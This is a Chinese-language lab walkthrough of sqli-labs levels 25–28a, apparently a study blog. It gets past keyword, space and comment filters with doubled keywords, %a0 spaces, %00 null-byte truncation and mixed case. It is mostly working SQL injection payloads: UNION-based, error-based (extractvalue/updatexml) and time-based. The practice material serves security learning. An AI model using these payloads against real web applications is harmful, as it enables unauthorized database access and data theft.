在SQL注入过程中难点就是判断注入点 只要注入点确定了 获取数据库数据的过程就是复制
从这关开始 只进行判断注入点了和代码逻辑分析了 因为注入操作太简单了（不演示了）
目录
less-25
首先正常页面 说是or和and属于他们 过滤一个id参数的值 搞不懂 先正常来
判断注入点
?id=1 正常
?id=1' 错误：to use near ''1''
?id=1\ 错误：to use near ''1\'
正常来说是缺少单引号
?id=1'#
提示Your Input is Filtered with following result: 1'
?id=1'--+ 成功
?id=1' and '1'='1 无返回结果
提示 Your Input is Filtered with following result: 1' '1'='1
原来如此 一开始就提示了 and和or 属于他们的 把and和 or过滤掉了
现在报错会被输出出来 但是无法使用and构造语句了
但是注释符没被过滤 使用联合查询试一下
?id=0' union select 1,2,3 --+ 成功
?id=0' union select 1,database(),3 --+ 成功
?id=0' union select 1,extractvalue(1,concat('~',database())),3 --+ 使用联合查询的报错函数也成功了
先看看双写可不可以
?id=1' aandnd 1=1 --+ 成功
?id=1' aandnd 1=2 --+ 成功
试试and的符号&&可不可以
发现&&一致报错 提示也没获取到&&符号以及后面的内容
但是or|| 一真则真
?id=2' || 1=1 --+ 成功
?id=2' || 1=2 --+ 成功
那么尝试报错注入
?id=0' || extractvalue(1,concat('~',database())) --+ 成功
代码分析
就是过滤了and和or 无需逻辑分析
less-25a
和上关提示一样 也是过滤了or和and
判断注入点
?id=1' 报错不告诉具体原因了 不能使用报错函数了
试试符号形式的and和or
?id=1 || 1=1 成功
?id=1 || 1=2 成功
看来是整型注入点
和上关一样&&一直报错只能使用||
看看双写可不可以
?id=2 aandnd 1=1 成功
?id=2 aandnd 1=2 失败
双写也可以
使用联合查询
?id=0 UNION SELECT 1,2,3 成功
?id=0 UNION SELECT 1,2,database() 成功
使用 延时函数
?id=1 anandd if(1,sleep(2),2) 成功
代码分析
无逻辑分析 就是参数为整型 过滤and和or 无报错函数
less-26
说是空格和comments都被过滤
判断注入点
?id=1 and 1=1
提示获取到了Your Input is Filtered with following result: 11=1
看来and和or还有空格都被过滤了 测试注释的时候发现注释也被过滤了
?id=1' 报错：to use near ''1'' 好消息这里能判断注这是字符型注入点
这么多东西都被过滤了 只能进行替换一个一个试了
看看双写
?id=1' anandd '1'='1 失败
但是提示显示获取到了and 证明双写可以 空格没有被获取到所以导致失败
找一个替换空格space的
space在url中是%20 可以 使用%a0 || %0b绕过
成功
因为是字符型注入
现在的操作是
?id=1'%a0anandd%a0'1'='1可以
但是注释符也被过滤了如果继续进行注入操作还是不行的
想办法把最后的单引号闭合
想到了两种方式
第一种方式就是再后面再加上一个and后者or
?id=1'%a0anandd%a0 1=1%a0anandd'1'='1 成功
第二种方式就是
%00会截断整个url
?id=1'%a0anandd%a0 1=1 ;%00 成功
解释一下正常我们输入的数据到url中都会进行编码
space的空格方式会被编码成%20
%20代表空格 %a0 也代表空格 在服务器只会过滤space方式的空格
%00属于空符截断。在某些编程语言和数据库实现中，它表示字符串的终止符
也就是说我们传入%00 服务器会把这个%00带入到数据库中 在数据库中的sql语句如果遇到了%00后面的语句就不执行了 也就相当于注释的意思 但是比注释更狠 因为注释不会注释服务器后端sql语句最后的分号 但是%00会把分号注释掉 所以要加上一个分号
在这里还要提一句
这关可以使用报错注入和联合注入 使用报错注入的时候 不用管空格因为有没有空格这个语句都会报错 在报错函数中可能会使用from之类的中间会有空格可以用括号括起来 像第二个例句一样
报错注入实例
?id=-1'||updatexml(1,concat(0x7e,database()),1)||'1'='1
?id=1'||extractvalue(1,concat('~',(select(group_concat(schema_name))from(information_schema.schemata))))||'1'='1
联合注入实例
?id=1'%a0union%a0select%a01,2,3;%00
代码分析
无需分析 就是加上了过滤条件 没有逻辑上的问题
less-26a
提示和上一关一样没什么区别
注入测试
?id=1' 报错 没给具体报错信息 不能使用报错函数
?id=1\ 反斜杠被过滤
?id=1 and 1=1 and和空格照样被过滤
?id=1%a0anandd%a01=1;%00 输出id=1的值
?id=1%a0anandd%a01=2;%00 输出id=1的值
;%00不报错可以证明该语句后面没有特殊字符
那为什么1=1和1=2输出结果一样呢
看源码
sql="SELECT \* FROM users WHERE id=('id') LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=('1 and 1=2;
不应该呀 应该也报错呀
?id=1')%a0anandd%a01=1;%00
?id=1')%a0anandd%a01=2;%00
这两个语句成功执行了能使用盲注和联合查询 但是我还不明白为什么上面的能输出id=1的结果应该是报错呀
注意
1按理说空字符截断应该数据库报错 竟然没报错并且查询到了结果 有时候只能多尝试 把学过的都试一遍
2为什么字符串里面只要是第一个是1 2都能查询出结果 是因为 设置id为整型 强制转换后只保留第一位 后面输入啥都无所谓
代码分析
无逻辑分析内容 知识添加了过滤条件
less-27
正常界面 过滤了union和select
尝试
?id=1 and 1=1# 提示Your Input is Filtered with following result: 1and1=1
发现注释符和空格也被过滤 但是and没被过滤
?id=1'to use near ''1'' 有报错信息 估计是单引号没被闭合
?id=1'%a0and%a0'1'='1';%00成功执行
?id=1'%a0and%a0'1'='2';%00失败执行
确定为字符型注入点
看看双写 union 和select可不可以
发现union只过滤了一次 但是select过滤了两次
?id=0'%a0uunionnion%a0seseselectlectlect%a01,2,3;%00
试试大小写混合可不可以
?id=0'%a0UNIon%a0sELect%a01,2,3;%00 大小写也可以
这样就可以使用联合查询注入和报错注入
代码分析
增加了sleect和union的过滤
less-27a
和上题的提示一样
进行尝试
?id=1 and 1=1# 依旧是去除了空格注释
?id=1' 不报错并查询出结果 估计也是字符型的但是没用单引号
?id=1\ 报错信息不全 不能使用报错注入
多次测试发现是双引号闭合的字符型注入
?id=1"%a0and%a01=1;%00 成功
?id=1"%a0and%a01=2;%00 失败
上两句确定了注入点
构造语句 发现union和上一题一样过滤一次 select过滤两次 大小写也能成功绕过
?id=0"%a0ununionion%a0sELECT%a01,2,3;%00
试一试盲注（盲注是最慢的最不推荐）
?id=1"%a0and%a0if(1,sleep(2),2)%a0;%00 成功
代码分析
参数为双引号的字符型参数 不能使用报错函数
less-28
提示和27管一样过滤union和select
进行测试
?id=1 and 1=1# Your Input is Filtered with following result: 1and1=1
发现没有过滤and 和前几关一样过滤了注释和空格
?id=1' 报错：没有详细的报错信息 不能使用报错注入
?id=1';%00 报错 可能是整型 可能对参数使用的形式不止单引号
?id=1 and 1=1;%00成功
?id=1 and 1=2;%00成功
以上两个语句得出不是整型 那就是不止只有单引号
?id=1')%a0and%a01=1;%00 成功
?id=1')%a0and%a01=2;%00 失败
得出服务器参数的形式为('$id')
?id=0')%a0union%a0select%a01,2,3;%00 说是过滤union和select但是经过测试并没有被过滤
从而判断出这题能使用联合查询注入和盲注 不能使用报错注入
无需代码分析就是过滤条件比较多
less-28a
提示信息依旧是过滤union和select
注入测试
?id=1' 报错：无详细报错信息 不能使用报错注入
?id=1';%00 得出可能是整型可能字符型不止单引号
轻轻松松试出来
?id=1')%a0and%a01=1;%00 成功
?id=1')%a0and%a01=2;%00 不成功
的到注入点 构造语句
轻松拿下
?id=0')%a0union%a0select%a01,2,3;%00
id=1')%a0and%a0if(1,sleep(2),1);%00
可以使用联合查询 盲注
代码分析
依旧不需要逻辑分析
